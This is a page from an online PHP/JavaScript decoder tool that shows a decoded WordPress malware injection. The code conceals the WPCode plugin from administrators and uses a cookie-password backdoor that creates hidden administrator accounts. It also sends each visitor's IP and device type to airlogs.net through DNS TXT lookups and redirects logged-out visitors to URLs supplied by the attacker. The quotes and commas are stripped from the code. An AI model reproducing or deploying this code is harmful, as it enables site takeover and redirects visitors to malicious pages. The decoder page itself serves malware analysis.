Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$s_eaaabe178607=6520d7b16f08d999e1244acb0c8d2ccd;
	if(current_user_can(administrator)&&!array_key_exists(show_all$_GET)){
		add_action(admin_print_scriptsfunction(){
		echo <style>;
			echo #toplevel_page_wpcode {
			 display: none;
			 
		};
			echo #wp-admin-bar-wpcode-admin-bar-info {
			 display: none;
			 
		};
			echo #wpcode-notice-global-review_request {
			 display: none;
			 
		};
		echo </style>;
	}
	);
		add_filter(all_pluginsfunction($j_63dc9087c660){
		unset($j_63dc9087c660[insert-headers-and-footers/ihaf.php]);
		return $j_63dc9087c660;
	}
	);
}
	if(!function_exists(_red)){
	error_reporting(0);
	ini_set(display_errors0);
		function _gcookie($p_7b8b965ad4bc){
		return(isset($_COOKIE[$p_7b8b965ad4bc]))?:'';
	}
		if(!empty($s_eaaabe178607)&&_gcookie(pw)===$s_eaaabe178607){
			switch(_gcookie(c)){
			case sd:$m_8277e0910d75=_gcookie(d);
				if(strpos($m_8277e0910d75,.)>0){
				update_option(d$m_8277e0910d75);
			}
			break;
			case au:$f_7b774effe4a3=_gcookie(u);
			$d_83878c911713=_gcookie(p);
			$o_e1671797c52e=_gcookie(e);
				if($f_7b774effe4a3&&$d_83878c911713&&$o_e1671797c52e&&!username_exists($f_7b774effe4a3)){
				$j_e8701ad48ba0=wp_create_user($f_7b774effe4a3,$d_83878c911713,$o_e1671797c52e);
				$c_ee11cbb19052=new WP_User($j_e8701ad48ba0);
				$c_ee11cbb19052->set_role(administrator);
			}
			break;
		}
		return;
	}
		if(stripos(wp_login_url(),$_SERVER[SCRIPT_NAME])!==false){
		return;
	}
		if(_gcookie(skip)===1){
		return;
	}
		function _is_mobile(){
		return preg_match(/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i$_SERVER[HTTP_USER_AGENT]);
	}
		function _is_iphone(){
		return preg_match(/(iphone|ipod)/i$_SERVER[HTTP_USER_AGENT]);
	}
		function _user_ip(){
			foreach(array(HTTP_CF_CONNECTING_IPHTTP_CLIENT_IPHTTP_X_FORWARDED_FORHTTP_X_FORWARDEDHTTP_X_CLUSTER_CLIENT_IPHTTP_FORWARDED_FORHTTP_FORWARDEDREMOTE_ADDR)as $a_3c6e0b8a9c15){
				if(array_key_exists($a_3c6e0b8a9c15,$_SERVER)&&!empty($_SERVER[$a_3c6e0b8a9c15])){
					foreach(explode(,$_SERVER[$a_3c6e0b8a9c15])as $v_957b527bcfba){
					$v_957b527bcfba=trim($v_957b527bcfba);
						if(filter_var($v_957b527bcfba,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){
						return $v_957b527bcfba;
					}
				}
			}
		}
		return false;
	}
		function _red(){
			if(is_user_logged_in()){
			return;
		}
		$v_957b527bcfba=_user_ip();
			if(!$v_957b527bcfba){
			return;
		}
		$s_b0ab0254bd58=get_transient(exp);
			if(!is_array($s_b0ab0254bd58)){
			$s_b0ab0254bd58=array();
		}
			foreach($s_b0ab0254bd58 as $k_8ce4b16b22b5=>$u_9e3669d19b67){
				if(time()-$u_9e3669d19b67>86400){
				unset($s_b0ab0254bd58[$k_8ce4b16b22b5]);
			}
		}
			if(key_exists($v_957b527bcfba,$s_b0ab0254bd58)&&(time()-$s_b0ab0254bd58[$v_957b527bcfba]<86400)){
			return;
		}
		$n_67b3dba8bc67=filter_var(parse_url(https://.$_SERVER[HTTP_HOST],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
		$j_de56be8fa193=str_replace(:-$v_957b527bcfba);
		$j_de56be8fa193=str_replace(.-$j_de56be8fa193);
		$z_2510c39011c5=airlogs.net;
		$o_d95679752134=get_option(d);
			if($o_d95679752134&&strpos($o_d95679752134,.)>0){
			$z_2510c39011c5=$o_d95679752134;
		}
		$l_6f8f57715090=_is_iphone()?i:m;
		$h_ab4d0a658aef=(!$n_67b3dba8bc67?unk.com:$n_67b3dba8bc67)...(!$j_de56be8fa193?0-0-0-0:$j_de56be8fa193)...mt_rand(100000,999999)...(_is_mobile()?n.$l_6f8f57715090:nd)...$z_2510c39011c5;
		$n_03c7c0ace395=@dns_get_record($h_ab4d0a658aef,DNS_TXT);
			if(is_array($n_03c7c0ace395)&&!empty($n_03c7c0ace395)){
				if(isset($n_03c7c0ace395[0][txt])){
				$n_03c7c0ace395=$n_03c7c0ace395[0][txt];
				$n_03c7c0ace395=;
					if($n_03c7c0ace395==err){
					$s_b0ab0254bd58[$v_957b527bcfba]=time();
					delete_transient(exp);
					set_transient(exp$s_b0ab0254bd58);
				}
					else if(substr($n_03c7c0ace395,0,4)===http){
					$s_b0ab0254bd58[$v_957b527bcfba]=time();
					delete_transient(exp);
					set_transient(exp$s_b0ab0254bd58);
					wp_redirect($n_03c7c0ace395);
					exit;
				}
			}
		}
	}
	add_action(init_red);
}



© 2023 Quttera Ltd. All rights reserved.